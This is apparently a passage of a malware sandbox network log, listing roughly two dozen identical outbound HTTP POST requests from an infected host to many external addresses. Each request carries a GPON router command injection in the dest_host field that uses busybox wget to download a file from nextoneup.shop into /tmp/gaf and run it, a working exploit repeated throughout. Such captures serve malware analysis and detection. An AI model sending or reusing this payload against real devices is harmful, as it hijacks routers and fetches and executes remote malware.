Apr 14, 2024 04:00:19.867614985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.13	43620	37.154.170.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867664099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.13	44280	202.150.135.255	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867671967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.13	55278	178.95.240.247	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867693901 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.13	33792	118.102.219.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867726088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.13	58394	202.187.86.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867750883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.13	56620	210.255.79.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867767096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.13	37874	5.177.186.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867791891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.13	51986	148.8.122.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867827892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.13	37078	117.151.105.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867860079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.13	52322	37.112.187.243	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867866993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.13	54770	148.174.145.8	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867892027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.13	49158	42.147.37.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867948055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.13	41664	123.172.193.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867958069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.13	41560	212.130.226.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867993116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.13	48696	117.43.123.70	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867994070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.13	43956	117.173.158.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868043900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.13	41334	123.118.78.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868046999 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.13	55216	117.205.148.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868066072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.13	48998	123.227.82.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868089914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
841	192.168.2.13	35832	37.116.202.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868117094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
842	192.168.2.13	58340	123.208.200.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868139029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
843	192.168.2.13	45858	5.189.28.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868191957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
844	192.168.2.13	39040	2.250.119.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868215084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
845	192.168.2.13	59544	178.169.81.201	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868244886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
846	192.168.2.13	33902	79.8.70.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868259907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
